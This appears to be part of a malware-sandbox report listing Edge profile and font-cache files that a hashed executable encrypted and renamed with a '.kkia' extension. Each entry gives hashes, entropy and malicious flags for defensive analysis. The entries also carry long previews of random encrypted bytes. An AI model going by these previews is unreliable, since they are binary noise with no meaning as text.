C:\Users\user\Local Settings\Microsoft\Edge\User Data\BrowserMetrics\BrowserMetrics-651E8F64-1910.pma.kkia (copy)

Download File

Process:	C:\Users\user\Desktop\E9E758383C0F518C4DBD1204A824762F5FAC37375D8C5695C749AD1C36C0F108.exe
File Type:	data
Category:	dropped
Size (bytes):	4194638
Entropy (8bit):	0.518609467066548
Encrypted:	false
SSDEEP:	3072:d81+yWA2sKK94vtHI2EJy6T25KFd0ye2BPOEeMw08ZGrkvr:d81tWRsKk4VHIJy6i5KFd0Mj8+C
MD5:	A0A4D57C04097B4177FAF6E38EDCE1D6
SHA1:	D9188812B09868CF9BE2E785BAE0D387B5D7670F
SHA-256:	1B69DA0635B66347FE7E0E8C5E489C62171DDDA2EA9FAE9E6DF93856F0986134
SHA-512:	4D10749A6210FE6907C743E77739F4B5DE68F5CF54C6F41C27890D861813937A7D6D141A1B045F6016BCE537EB143A6BB8E0A95392C3BF9EB5845BBC584ECC32
Malicious:	false
Preview:	...@.....S.`Y.F.vl.....]...&.t..V..Qv.......NE.fl...1Cg.X..`......e..ejm.].l.uo ch.<.w..'hW.N.......O&$.S,.cU.Mi.#..}.....q......@.f.(.A.<..y.M..R9B....~. 8...6Eo.v*"..OA.H\"....... n..)E.p\|F.GZ...C~F...j-q/..$..7....p8....>.q.5!:1..j.m..8V...{#W...}.......U,..O..z.;.'S.T...o..l=f..s2.\rX. .F.<.@^..R.K=...T.m.....c.g.\...a.W..^O...XR....o.. .......vd..p.tu.5.....=5.V\|Pn...%.9a.f..B.....k....r.....h...D.....U5.h..6..$[.T'......J..;...Z8<}.+.\>=.^...u...9\|4X......?F.v.\|3...50...[.,V.e%........>N>......n..fue.,...k..j.#.t......~.$.v...<.:.....JC0%.......h(g...O........[...i.G.=...`.......E..&^...Gw.../.-.@XFbc7.`8).C.......BI,..~-.....#2_....X[z\.Sc2..h..u......h4.GY`,7=.&....S4.....(8S$D/d..\..W.-\|...G.2!...`..n...V...C...\|.>.....,1.\.a.`eQ.\.&VH..4..6...S.]....`..P.%b......\|..q.V.~!..NJ.....@......<. .V..@.<...H]-.o.O.....$.N~...pY#..-6.<qg-8%7.......r......O....qF3.R..w...V.4..N....'..N...Z..2&.^.......n.z.z!Q.?..5x;..I.%./....?.c....}g.iF

C:\Users\user\Local Settings\Microsoft\Edge\User Data\BrowserMetrics\BrowserMetrics-651E902E-1634.pma.kkia (copy)

Download File

Process:	C:\Users\user\Desktop\E9E758383C0F518C4DBD1204A824762F5FAC37375D8C5695C749AD1C36C0F108.exe
File Type:	data
Category:	dropped
Size (bytes):	4194638
Entropy (8bit):	0.5410995581329591
Encrypted:	false
SSDEEP:	3072:sA+OgZaXBKjyMOA59zZSlLnNcpKfomlwe3jqnXz8lHaLJwdEUnaJ96B:f9BQVWlLmpKwmlwe3jqnK6LJ7H6B
MD5:	8CBC01EE97761F2250C4FF615C6C6568
SHA1:	6D7E480CA3091BE8EC2C165D13CF41E05B4F4CC5
SHA-256:	0C9300FC6967899363FD5DFBD65524E4DE26A91A7AF204A17BAB1B73D4997E3E
SHA-512:	64556D11271EEC11F29040BDB6F762973131EF57C784D2B137BAD65AC20AA9D77A045495B9DC13B4D7E607F6DAEF9D946CD08EAF8F12CF50D1EB5B92A5E7C3B5
Malicious:	false
Preview:	...@.#.b.:..W[...aX.i.(.:.f.(..Y.<.-H..X..q.U.p....U.giH.m..'.^J3...r..$>@..nR..:^W......!a'k.9."."t_S....iuK.z_J...P.......bI#.<..>d._..v..;..x....'.....p...Z..Fw0.....?.1..[....i....p..Sl5.^.$m.....l.ZlP..."..5..{KB#.&........3..6.P0.)Ljx.......I.V<?.E.96.7AB...3.....o...@I^F..EI.X../...Ec...K..k..^...}...Z(..VDzL..p.@..../.`b..5..C..a.7C..sq[.Op....:O..Cb.s,..P.M..(....!+.nN.G:..F...t.!..6...c .<..Y.p.l..rH..:t........d.3...?. .......,>R.......7.%.k.M...o.....L.\|.O)@6).^6\...J.......5....D.5?..{.~..Y.ju.6.Ei1DE..1...o.K...)w....:...[,...........!}..-......+..M.\...c..:.la. .w5>.7........W.w./.}..%.....TB{..W/...jmI.P.$mft/y......q^k.u1..~.~I1....A.H...'..&.9D...c.....K..rN...!.%o...U.`.<=........A..i.))_...C..2.LN...=N@.:6...@&...u..B ..m?.v.u-..L5.].;.#..~T.g.2.}.!z.^..-........*..Cw...6.U..`..oEz3A..cG.j.;.c.#..c.A.>~.....o.....z...e.._..F..hH.........l...\...xw.[..".^.rWr.."u.y.F...i..P+.d.c...L....m...}7x....#...x..vK..??..4.

C:\Users\user\Local Settings\Microsoft\Edge\User Data\BrowserMetrics\BrowserMetrics-651E9065-1B98.pma.kkia (copy)

Download File

Process:	C:\Users\user\Desktop\E9E758383C0F518C4DBD1204A824762F5FAC37375D8C5695C749AD1C36C0F108.exe
File Type:	data
Category:	dropped
Size (bytes):	4194638
Entropy (8bit):	0.5185285231317287
Encrypted:	false
SSDEEP:	3072:3MRAvHFWQ4HwiTfc0UEDACR8RppV9W0zzYHAdnuEW3XMfP:3MRAvFWUNdiACcvSfgdtmA
MD5:	DF269911C8748D7207B06B2E0D485BA8
SHA1:	45BDA1F4F9A2729269ACE0939159A1176F9E866C
SHA-256:	56BC9E87B3FDFF19602F0C8B6A4CCF35BE9798F4E33B3AA4330790B3A30A0029
SHA-512:	EDC69B72C3195F4924686CD06B188782DB60F69CA0F5B79D6C653EBC704264A3EB0F04766B9B18F44A7694A3072E6A8F86F750A717DAEF9FCBFC9C9B34094FD9
Malicious:	false
Preview:	...@.S%.R....:.Q..'P.[....P..J6Bto;...B.H..#7.YI.pP...M....:.aoA...Q4H..A.}I....d..'R9.I....\.hje`B..%.\NWu.N.K....Xb....<..C&NH...6...]cb.X....M.P).....A......%..VIsQ..f..R...W%.....2_w.N..s......'Z~...D."......6.M.....,....$..<A.^..+.=.....g....o.......s..W.e.....9....L..^..?.7.N..".xTh7...jzJ.B.m..m ......H:.C...Zc.c.....p.Y..0.c.Wq_?..I......DA..'.O...e..x{.l.a..sD.."d....&.....{..+.x3......&D.F....q.R..k..2+.\..Z.+....8.U...A..ER..q'Z.Bi..D.X%..E...VLJ`...K..7v....\..6..F..A.p.h.[:..\|D....J.WB..`.{...}-{...y9....I....<V...].QxL...y.+L...G.....f0Ow.oC&.............=......O.....y.-.....\....#F'..a..%.......8 .1[V..o[oUea..{...0;'...W..........h..<529:....AOy..0.....k..^..rW.....v.X.&....9I....g.n.;.3V..I3S^z)...An..Z.L.H.O....6...O.!..,?.l.F.N..`H......\|. ..+?..6....?:...r...}...%.0j.....M..X7..&<...:-..S...9F..^.L...I.x.3a......zk..sV.....j..>.\|..Up....&...:.W.Yx.....vM.8J6E.Z..n7..j..E.....X..j.F..@E.Y.vz.T..!...)...H...h..A...B.q..t3

C:\Users\user\Local Settings\Microsoft\Edge\User Data\Crashpad\settings.dat.kkia (copy)

Download File

Process:	C:\Users\user\Desktop\E9E758383C0F518C4DBD1204A824762F5FAC37375D8C5695C749AD1C36C0F108.exe
File Type:	data
Category:	dropped
Size (bytes):	614
Entropy (8bit):	7.626081238490447
Encrypted:	false
SSDEEP:	12:gN+nAgBSJgqoLqyu8nsWTXdJbymK7d8jCEK9mMEJzXqyyPrgcii9a:CQAFJxDyzVTXzvKZ8mEK9REJ1MkbD
MD5:	5360CBD4946E7ED0DBAFB939DEE3C0F4
SHA1:	50D8C61E31BD63542E9C76FB0AFABE4911C37525
SHA-256:	A91D9AE25557A79ECBE512C2A538D725C9966B29BED2FA98D097FF86E2CB9BF9
SHA-512:	C2071C58EBC72EF605024819563413CE7EC009816769E0DE5A364A4766437C40FEBF9B2CE3CA1CAE41992F95C6759F58ED9626B11D83F64C03619D2A3650E844
Malicious:	false
Preview:	sdPC...&&....TM..}`.a.:h..V...>..pJ..7....3.^@.p.G.%.d.t...L......zI.XD.......Hi....>...Cs.e_..n+.....R....L?......x..K(..6_.E+....{....r9.F...7...YJ.".yR.c.N.-.....h@..n/.... ..$.R..h.6.1.H.\..1....95..].....&.GEr.=}.6.{.VLD....D2...]..>.T.<..\@.....n.0.'B;.K.G...@...".t...[.?....l..O...#\..+.N...M.!...z]...R....,. <.Xe....k........".$R...S...i.1....NG.....j.\|..t...8..).....O..:..!.{&.9U.?..'.-Z@..h.......`..mb.p.:lPc....z,gnW..dD..ZG._....t..f..@......X+bg.3..s..$....Z......\|...w..%..u.\.UJ..!"...B\|dYUDKE4rrBmSPsf8srHMsyP40jle9uyxDDCfdxt1{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\Local Settings\Microsoft\Edge\User Data\Crashpad\throttle_store.dat.kkia (copy)

Download File

Process:	C:\Users\user\Desktop\E9E758383C0F518C4DBD1204A824762F5FAC37375D8C5695C749AD1C36C0F108.exe
File Type:	data
Category:	dropped
Size (bytes):	354
Entropy (8bit):	7.131234454476518
Encrypted:	false
SSDEEP:	6:8xZhOGVPcOuoEoIuV5aW1oXRpA2jNeQja3vMWy4LHM91pFPebugcii96Z:pcNDEZuV5ujA4KRMX7Prgcii9a
MD5:	393CED9A525A1AA5633729A1BCA73271
SHA1:	63BB72B9751CD57B8A71874F53030D32E15EF3E3
SHA-256:	AFAABB58C10C4495C666D62B05968B26F0839D5BB7F24D1AA9C42D7DDA4ACEBF
SHA-512:	438FBCEA1E65D32137E8D62C14D86C7596BCBBFAF9B7DD6ACD0AFA829EDBCE8C91BC2E31FA69DD09B04A7939092313F22E95621A472B40BFC85129A9E641C06C
Malicious:	false
Preview:	level...Kv......1d..8. .y...n.iE.k.A.q.b#.N..B./.+..O.....r...."x..w.;......e.:....(...oE1L0.2.^.I..mg.@.\.F...}s.Ky..NCM^MhM..?..\|.....V...K.\|[...9...7.3...X......z./.Ce.6`;\{.;sR..qJ..\|[oK.X.S]..XD1.F..,\|...TR].e]9......1O5.L..E..L.".!-:[.e...:.....k.o.:EE...dYUDKE4rrBmSPsf8srHMsyP40jle9uyxDDCfdxt1{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\Local Settings\Microsoft\Edge\User Data\Default\Edge Profile.ico.kkia (copy)

Download File

Process:	C:\Users\user\Desktop\E9E758383C0F518C4DBD1204A824762F5FAC37375D8C5695C749AD1C36C0F108.exe
File Type:	data
Category:	dropped
Size (bytes):	72091
Entropy (8bit):	7.997632650499768
Encrypted:	true
SSDEEP:	1536:CAl2gm713LUIeBfCqxBqqzW/P72IoX4XL4npriVHxQ4ud+9KllNi:CVT3zAfCqKq5ZoX8V0HxZTAlA
MD5:	8A759E9D9CD367208E251122911245E9
SHA1:	01490A8C69FFE375ECA2472F593E563BE7FACDC6
SHA-256:	58D6FF0E36D2B389D448090547920EA5B97689A9F14FE4A2B8270BE36F04F605
SHA-512:	AF60F64BF834B94CD0FBB978698AE8FE1414FA5E7856A49A9C199B7DA65ABFFDF2960F2F9198EF48D0042BBC6DFE8D2441BD6B5661692529A0E594B2B6D099BB
Malicious:	true
Preview:	....../.`. .\..Uf...RE..,..)...+.0l....R.>w..<B.."y..tb........Hz=Ur.K)..X....U.F..[-..#..2....G......]...`.^..r.%lR.....r....0.s..:^.......'~..p..8_..d.< ...Kh....`j..D.f..k.W..l'.(.......sh.:E......c..S.7u.....b..P8.....%.'...b..]..Z......Lqa.. e1.).....O.....j.]eOd@...%...M...>.........k.d..T>.?.....9Ylb.J.f..........b/.....]zI.N...4...n../}e.Orp.+1..b.pA>]...I...o..Z...{e........0.=....[.I<.....J..i.T..gU.=O@....b.............<.8].9.~...Al~Z}Z.....Fr4..:P.c.>..........."0.\|d....2A.G.....L...x.K:."..0L{,8.t.R..H.X..2....V..L..Ln...V.[y..$.%..X.rO..mZ@...E......G.L...K...Wj#...)....g{".$.3.h.9:B]2.cl.......9.!/d..".fM..i...Z.......=....8^t. .....=.':.p.UU["U.q.....\|.....\|.....n8..jc.P.Q...8.X..o.q.....[......k4..{.....o.mF.L.'SL^"..#..Y..l4V.....5...D.?H.....7.........Y..x.^7...;\|Q.{......<]Q.U......z...{P..S.\.....X.M. g..D7+.A....y....o..h....b...!.*.0...{g6...h.E]Q...@'....gHE...-.[.+.s..).....LMV...O....B?..N.....z.F-.....%6V4~

C:\Users\user\Local Settings\Microsoft\Edge\User Data\Default\arbitration_service_config.json.kkia (copy)

Download File

Process:	C:\Users\user\Desktop\E9E758383C0F518C4DBD1204A824762F5FAC37375D8C5695C749AD1C36C0F108.exe
File Type:	data
Category:	dropped
Size (bytes):	12089
Entropy (8bit):	7.986286836644974
Encrypted:	false
SSDEEP:	192:XvqR9ms/g+V+yN41A2fZ7AV5jSz4uyO49wE/IahdXiOFodmKzguIe/H1ZTjAqxTq:CbV5WBfyPjSsuU9N/IahdXimK3RN/3H8
MD5:	543649BDF79C89B742C4C02CA4A85F6E
SHA1:	24F6122A53D1DA78904552CFDC6E6EFFA62ABFEC
SHA-256:	72FE830028B73D6229A16D26D80190816698A9304F3181E93CA6CD1BCFF1C165
SHA-512:	9B797139BF24A04F5DF48594B1F61CD9150F3E5F571537CBAA2CEF5B43B04380A4DACC823853162F316DFEE5364D4E7A8943506EA4ABF8DEC84ADF8F05A68FB5
Malicious:	false
Preview:	{.. 6.N.wf...1..?SZb..K.P6.`e&xb.5....Ht.}I..Z.......x..2...Ho..5.......}!r...... .&. .L ,.$..<...fv..:!..c.....e.z..~or..z...d.a......8.d...<..t..yMe.#.u....._...'a... ..uS.....c.c..Q...w.M.....%.....Z...44.W..}k..O..Ei.j..c\,z..v.5M....'8[.p^....Z..5\|.A0....6C)s.q.}z.........H.!)W..b.@..zy....W....s...Zv.B....[).;.^.l&.G..hP......A..{.I.:C...I...ij^rf.Cm..A..Re.....78[....k...n"..J........E..-... ?82..W.Ql...2..SJX..t....V.]..9../n...o.z.A.&."..S..y...IORl.g.L.v\|S%....rT....z~t.....q7..N.o..~.jO...........WL...a.T.%.R!.u.u.pB........2..b"O .p..j.o"..f.B....u.L.]y......;..j..}G...6.^...1<T..Mx5..d....D+j.Ml.l.jWu.P...G.z.p..6.;.F.....JyJ!...B9z....9...5.. .!b....n+.......R..#...m.........~.....?.w.<~.+..A....b.KWb...nH.\..u.e&.tB.S.....9....[..7d.x.7..I..c..T.xpV6v...,..+Oz.~...f_.N.C.b.{.}....\|.!Q.cg....4..^.S%.\|1.I..k.a.q.+p..gS.E.'FL#X.p....^{.M.....&.YlX/iwH.....l.F...r.4..:..x...g.s?$u......_.S.'.......,...u.p.<......h".

C:\Users\user\Local Settings\Microsoft\Edge\User Data\Default\heavy_ad_intervention_opt_out.db.kkia (copy)

Download File

Process:	C:\Users\user\Desktop\E9E758383C0F518C4DBD1204A824762F5FAC37375D8C5695C749AD1C36C0F108.exe
File Type:	data
Category:	dropped
Size (bytes):	16718
Entropy (8bit):	7.989559278844124
Encrypted:	false
SSDEEP:	384:XZCYdCCHldWbU4Ev3WhXOCgsF/nRbdJE0fYx+:JVdCCFdPfWhXOCvNxnfY4
MD5:	0876C035A909A1CB9BB6662453CD4EF7
SHA1:	33F7EB274F86F6A28EC71022AE926D2B51B948E6
SHA-256:	EEF43E80909D01B1DBD594E83CC6EEAC2C895384CD1C7D07ABDBDD3C7191C4D0
SHA-512:	3B02C6F3501197E40E4A546EAD8E94AA0B1831AE02BD2C79B2B6C8F3E89B238D57F6BD4BFDA66BDBA0D7898553A8797DAF14C2D03A685AED9AFABBCD5727717F
Malicious:	false
Preview:	SQLitm...})U.^J. ......"......L......V.rz...}.9...-p1@%...Q...<....O..'u0.+._h>..>.rw....l.8.._.6.#.%1%_..v...C............E....y).Ac.......]...i...,i...-o\...V.1[s.;0Q..:..f6.?Q..%...m>..p.6....e.4\|..4...FZ....[%...........+.6].n"O.(f...b;?.Dn.&qY[.\..>.....a...`...6.o.k"..,./;v.=4HN.&Rn....f<...C.O9$6U...T..UK...\.........@.tl..../../`r.~].........pt[..;...(..1.rG..$.n.i#G.yG....Bvm...Qw........\..>m..&......>.........p..\|..nO..,h........&...p./..d.b.p...9.ATABD...#[............FtE.Z.5VN...lU".H.o..7#..E4.8R..........;9'...." ..a.N.....c.0...#J..`W...SM.. b.a..s...g.y.._..`'....F..$~.F./..;].C.`..aG.o...b.1.#..+.F....{.O^.0M...R./u.g..,..$..YL..'8W.9s......M.&..Z..+.._o..m..\|../...%.c+t..#(2z+...<...!T.......]..%.F...%.@..y..j..Q.....>...L........:%....0..Z.J{zj1..M..R.B..9...<.m....L.\|...O...X[.<-.(.8........cY=V..XdA..s,..Wu.#...4.........{ItF.W.....r.c3.....;.5....m..*..-...#fE8....7...E...X..... ......)..l...6....(

C:\Users\user\Local Settings\Microsoft\Edge\User Data\Default\load_statistics.db-shm.kkia (copy)

Download File

Process:	C:\Users\user\Desktop\E9E758383C0F518C4DBD1204A824762F5FAC37375D8C5695C749AD1C36C0F108.exe
File Type:	data
Category:	dropped
Size (bytes):	33102
Entropy (8bit):	7.994314454003
Encrypted:	true
SSDEEP:	768:he4UdD0/8JsRgm0iLSB1YzG/ucOXW8xspO4R6M7UtT0uHY:hed/JAtLSB1gFc3pOvHtIB
MD5:	9288544319016604ACC16B0C93D4E693
SHA1:	5B73F6EDD2378AA3C5CB40DBF1129CF3CCE00EBD
SHA-256:	0450F3BF474A1AD7FD61553F8C645E61500FA8E494EE82C99AAF335A71E567AF
SHA-512:	39DC7DBF23D31B38BED2AE6F695C3B5E393049AEC17976F6143B5D91DF3107E92A1288A1BB1AADCC059D6611E2AF897B6F287EE94675A2BA817275C8D61E0FAD
Malicious:	true
Preview:	..-.......PKz.gv.p.c.<..-...J....(O....$..I..$..X..=n.7...n.......o.x..R..f>..,.-.'c....K?.._.`..<.....7\|&a.[Y5..i...S..11.>.....\...@.?N..y.......(.0y..n.p.&k....i.1....-.Q...-R..-.5.[T)'....%SL..S..@...{d........o#.$j?....=.K.........Q.p..z.?S..J....\|............R.6.h.c.`.......M..Z.`.{.....M.@..d..p,.m...E.....\|..@2...&%.H...G..p..2.G.x....lVgV..`........m.F\|.\./H,I..h.Y).UG..l.4U..Jw.....T.t.F..T.T.e0.B;f...w.3..x..Lyy...s.O ...).c...^{....u..9.....5..............{.......s.5[....L....h...CL...L......q.. 0....m.\|.p..>..Xz.]S ...m. ..j..V ./.f...../.cc.S....N[....D+O.B.nx.G2.e..\|%..\-..x3...^eXV.!!..*.. R........v_/.B..C' S9..2..1..T..(.`..Y0../...#.3^p..).. ..38E..Y.......^..W.).O...3.-...,....F).SA.0_....$.....w....%F.+..R.7......E...:....q....cg.#...h..t&_.U.)z...F@$Y........h}..o.+.e.):".&..\.^..m.&[.n8...A^..C..N..c......c..nA...3..\xh.E>..h.A..;..Z..-....Y......Hh....{Y..O...s..........l.J...o...."L...&...3.T5

C:\Users\user\Local Settings\Microsoft\Edge\User Data\Default\load_statistics.db-wal.kkia (copy)

Download File

Process:	C:\Users\user\Desktop\E9E758383C0F518C4DBD1204A824762F5FAC37375D8C5695C749AD1C36C0F108.exe
File Type:	SQLite Write-Ahead Log, version 4618958
Category:	dropped
Size (bytes):	70406
Entropy (8bit):	7.997460696083987
Encrypted:	true
SSDEEP:	1536:7syoj91mYcYLsECTOxMDXjJXQ+ntH0nB5sst1XldXH/30aFWf+YrRwAXe3:7sN8YkDTVZHYbvl9kRlNu3
MD5:	7B1165D37E5E699196C1EEC2007AC8DC
SHA1:	8FBAC07EC476F327B40ED3984424118C49078977
SHA-256:	AD4BD05A22342DE768BFDD7E1F204E884FF165B10E3381549CC8A04E66460FBB
SHA-512:	74404727FE6F384EA89ECE28B6F9DC7A9D2D77488F46B910598C9CEB8BC17FFAF7149F6CA9591752B245CD8D06FB7B7AE196F04917A265D50F45B55965BDA2A8
Malicious:	true
Preview:	7....Fz......<.[.S.Fw.P.."i...I...U...%..=I.n.x.\.2.6V...&oJ......dF......E.vhY.7Kfd..UE.?v.~Y.....f........D.2.,.h.8..}..n.>.l.. ..(...j'^].i5.m.^.,.._n...v.\|,......b....kn20.'.>u..}.R..J..l].8....<.lH>....v..^......6..m...d..5..l...jO.BF......q.......Ql....-...b.okb.H...D..r.o...T.....~}[F...{.W.....+\.d......s.2.K.k5..WXc...S..C..0......UwdJ..:.....C.......L......[.8.ju..aT6.#.S.@.c.k...h.F=..d.]0...s.rBq.0.Qcc&..........I...\"..^.&.z..K..,.QR..2..).p....;.....Zy..{L.Q.gU....~.........7.Y....k..n.T^...p[..k..u.F..B.....Z.f.6... ....._..C..y.3oP.....f.^.".og.[P.......\|d8\|E..%.>./.TK.rA.Hm..F=./..T..]......).F.kiH..%XS.B.*y.%au^w....F..-...E.._uu3...\t.i}..!..c..w.w^.G..n.j..{.w..lj.....G....6.>.$?..)....'.&Z.4...V.{..\|.a...f...-....Td..y....T..R.......W....C#.V.{.>.h.o..Z..:.to.B^.GO.".E%..d........~..;b].O0.P..=9y.^.:..J-..Y.g........8...=S..CC..,...o~..L....FV..:.w.,........Dz>8..KK\.._x...R ..g....`..i.."..sF..9t.t.u.....,..Z

C:\Users\user\Local Settings\Microsoft\Edge\User Data\Default\load_statistics.db.kkia (copy)

Download File

Process:	C:\Users\user\Desktop\E9E758383C0F518C4DBD1204A824762F5FAC37375D8C5695C749AD1C36C0F108.exe
File Type:	data
Category:	dropped
Size (bytes):	4430
Entropy (8bit):	7.960025900607112
Encrypted:	false
SSDEEP:	96:LE00NMwTGGqT0OVwFyMlB9fK3XirXdSOgEfv:10NMV5EVlBNAXiXd/Zv
MD5:	D3179AD686823912238A4E27E92EE04D
SHA1:	E69E76EE6837F6BBB7C77C507957F59131A692A2
SHA-256:	05FB1843A1A5F293276526DF4402D970C93E6CD25979E154DE168A6AA37B7A7E
SHA-512:	3D9F634E4C317C6C9551335DB893E4ADC51591290AF9C5DDEA702999344751BD39502BB88DC555400682943EB4A07B0C580ECEE96BBE0C962116633BD2A79F5A
Malicious:	false
Preview:	SQLit.Bs..T._~..m...K..}^o.M.{...{Q.;P..Vd.AC.......4hhX.....'Q[Ly.....>..:`...."..p..i.....]45..M[.......T{_.....\......Bc08.....g.\|......U'.x.:.....J&0.1..._w%(.......Im2.L.'DN......a`z..[....>.jJ.m..qQ.N.cM..'......!.R.......3..!.d.%.,L?.T....5.j0....'x. 2...w.%..om..;....yS.e...<..&.O..G.pi..yT...:P..qV......d...Q?Ul#..J..c.V.Q..`.2"...p@..M.%.....f..K^...FQz7......1...n.....g.......1...Qe."Z..K&...,]s..!.PA)....z..o.~.(XJ...<.....q."]<.n.(....yH3..?.....O...$.U.R..G...&....F.@.kf...j=.....8l~.p...\|.rM...[...P...E.J._v..`l..`c,..z.v....K....(........y.Lk.0..v.\.b..z..S....@?.52..".M.<(.u.;N....?..)..\s~Ct..Yh.v..B.{7@;..?....h.)......t"52.:+...zw....\|.a...dH.... 0...b.o?.......C..c0.....ZDg...9...6.9.....z...w.=.7J./.+....#...o4...M..{.foE.m..o>.l......h....-D;O..YpE....".pV.6.(oh..q.................w..<.>...'Dp.S..rY....l..~..l".B!...a.S>>.q2..]......w;.....J5W.F_*.m`..9....p.X.....GR'K...@...x>....{..i7T.....D......&...P...

C:\Users\user\Local Settings\Microsoft\Edge\User Data\Safe Browsing\ChromeExtMalware.store.kkia (copy)

Download File

Process:	C:\Users\user\Desktop\E9E758383C0F518C4DBD1204A824762F5FAC37375D8C5695C749AD1C36C0F108.exe
File Type:	data
Category:	dropped
Size (bytes):	2090847
Entropy (8bit):	4.6325720166906805
Encrypted:	false
SSDEEP:	49152:EkcYymTRU6qyKSYLwwXY7AkQ6EATFvHC2yBL/PPGbXs6iUD5LVm4PiVRJQ5lrD2g:PbL
MD5:	DEF2A2A1C091D87EED6F5D8AFAE81AAC
SHA1:	139C18D89FACCE8D655EF369CA6CBC37D83E4C61
SHA-256:	44B6BEDD41BAADFBEDF6A86EA6C08DE6DE99C41C3CF5C33C1628989979D77D20
SHA-512:	B59805EC436541C77612150F565FE0498CA0AA7DFB60C80F4EA91BBC383DCA3C87CA7303A503D9575A4BDB9FFBB726C07D9E0BE455CFF1781B899C792E2501EA
Malicious:	false
Preview:	.....G8v. ..%.p.`T[8KO9.G..M...S.....9..I.z.S.jO._\......\|...=.....L.?O.........."..7..1.r\.fA..!...\|rn..Dv..t....7d^...hs..rI.d,I.C.]$.I.~Z.2..@....3./..%LE<...5d.'.zr_NiQ.v.s9.{...5u^.L ..".Rt&2.y.4#.r...D.....7p......0.G5P!+./.ha))..zA.U.E.....!"..=....2.M...K.9.]....JWT.j...P...~.?...c.U...........~...8..w%.....07._.]...F......h(..l.:.J........s...}...VI..\|..B.%M`y./@.m.B..G.......).Q.W.%....?..../mY:a...Y..u.n>...{....;:..f.D+g.z....e{....dz..X1.N..K.u..`0...:..[B..'P..B\Hjt...8.l..^..W.fN.._.G../.........$.D.^..f....O.."PI6_...3g.......O...2 ..l......\&..p.....0{........S..,&+...HQ1...g..R....Y..0T........`..C.%\|..{..C..0....H...Q.....7.f.`....V^...09:..BW.M3...K..R...ou.^../..H.....(.....FY...Z.?...b4A.[C..fA......S..y..%...........).<...Rz..oT'..jTX..}[..h1......K....\|[...E.5...m...A.........<....,.XHM..z..b..m...Q.V.5.65....n._.3.#.O..^.g^8t!....=.o?........7....MZ..e..Rc......}KA;Se_!.~/......cE8.....OG.$.(.X.@e...9..

C:\Users\user\Local Settings\Microsoft\FontCache\4\CatalogCacheMetaData.xml.kkia (copy)

Download File

Process:	C:\Users\user\Desktop\E9E758383C0F518C4DBD1204A824762F5FAC37375D8C5695C749AD1C36C0F108.exe
File Type:	data
Category:	dropped
Size (bytes):	2203
Entropy (8bit):	7.91868782919051
Encrypted:	false
SSDEEP:	48:M1PqNUBFzsnOpTwtgXS+0Dulk6ufI8WK9X1mufD:M1PqyDYOWg+uljU19PL
MD5:	69686E03345B3ABDD487344555625879
SHA1:	E062C94D0303877124C21E4FFD5EFE7538090551
SHA-256:	58C21FB5DD7B8B90F8EFC30FCA031AF9B4F56EEE67D820ED4ECF5F800847F65D
SHA-512:	951B14E263C06E1F7BEE398330FB8E9B88E7AD2F60226C49B9A981373D353951E75B763B942C84E3BEB77648E8DF8EABBC0CC7DBB4275250D2740084D7F357A4
Malicious:	false
Preview:	<?xml`..;...<H..j.hO.....Z...6(...g..H.uMO..8..x.^.../...I.=j .X..o_..z/[.J..8....r.?...._....dS.w^.8.%.7H....D..B....dANa.I:N7dE=..!...z.r...._?.I......B..%9e)..........R....1O.3K4.Qsr..u=......1i...o..k.Y.R_..........h.~...H..##...-..\.....Jc....,.eT...._.M .1d~...oZu.T......~IYw......+...<}<.....K.....&.....x.\|.&.. .....p..:.....J.. h.i.. 0U.=.:(._0.=(.B+D-.'T^....]...b.~d.W/h..j....`&...O.N.......C.0[0.O.x~..S...S.R<pV.._J^j'J,..##.....@Q.6.\C..h..._..M.....f..C.^.h_1..\|oHw...........M#?.....k/.w>b.t..c.2...[l..=..2..m.......?..MT.+.M...[.~H......}m.\.....q...6..7..Z..P.....Z.`..I.......+...... ..1.{.Lm\.&us......G..;...d..}.......J./..z..'^.9.d<.z..^\|?..&.QfV.x.....H.,.=S....ov>e}Qg..K...F...ic.....9.x../vLa....W.0..[..}.V..+l....6....\)#.t.=......3X.,g....Zy../...Z.S$..x..z...ITm..d..m.J.+.........W....*Cr.>.......Z..U_.W3.....Q....d.:.j......_..}...P<..'....{.R7..Tb.7......G.).........n.t.......h...]....4.......

C:\Users\user\Local Settings\Microsoft\FontCache\4\Catalog\ListAll.Json.kkia (copy)

Download File

Process:	C:\Users\user\Desktop\E9E758383C0F518C4DBD1204A824762F5FAC37375D8C5695C749AD1C36C0F108.exe
File Type:	data
Category:	dropped
Size (bytes):	503292
Entropy (8bit):	6.445298689349566
Encrypted:	false
SSDEEP:	3072:ITc/wqQAEjexJCroEeOg6FMCUUvDshuTS7Yvp/r5Lu733gETSa6J+6fvubTxZO7q:d8VPeOJfXS7YB/VLqAlac+6f2j
MD5:	B5D6566BB1EE0B704473425D8D2082FB
SHA1:	CA59A370D297CF61195F6534FE250142A2FC2C43
SHA-256:	B321AE949630E5B479E95F6A8A5B3A1ED63A23503C5F96203515FBD9BBBF1A13
SHA-512:	8CFC8A787C9A84CE251DFAEEC11861FB65F5A6D81DB51696B0CE50E418CD6C87A579F4B9B7D413DF96563F493F9BC8E82DE352A6B1CE6517BC40FC2914A69CE8
Malicious:	false
Preview:	{"Maj.......?U..[.r..1....H...%.Y.iE..c...Z`0.ep.....9T,.3........L1.l...$&...!.x.\|.x1.>...v...tQ..]..W..p.......b6....r...YB...E.7.dd..z..7..:....q.G.j".I.%k.G.......p........._H.:..#.$WU....X.W...o.K.O. .UY7 .wRK.6...l...u..u.H......T..o.2c.P..w.x...R.$..^.....O..yF.f.mB.\|.;i.."BC.....[...-....}..#....P.`#j.@.A/u...!.....>.%.\|.'...1..k.s.T...h...m..1.@.m........b:xw3"..(...9;.p.o..b.o?.Z.b..1Y)..%..........,..`.=Hi..-pYQg..L1.]...fg..lV:o\|..u#R.9.,..~M.t.5vY..$..u...5.70../{]1.{...t..@..9......uS<AQ6..W.yOT...!.@b.Uc..\ .........;.v.b..V.....F\|.='l...y..0Y.af..Q..w.Q.o_[=....y...gT.R\...<7.q.T[Q.......Zh'..(L.}G...!..Qt/.@.O..G.Mx....&...........my.v...............p+5(.A......h......7..P6.R...\B.x.+\...Z.u=.&.$\|.?mC..K....j.IQ......J.6pE.B/..../...._.&.]....9...i,..;kvD@..A.......{\wf.....<.\.m...x.G._...C..C.%.+......n..j63.!.[...M..0..+O* s..R"...Y<"] I..f.C.63....@*.."..w._..8......9N.rL..&..,M ..4....g.rg#~.W..o.p...

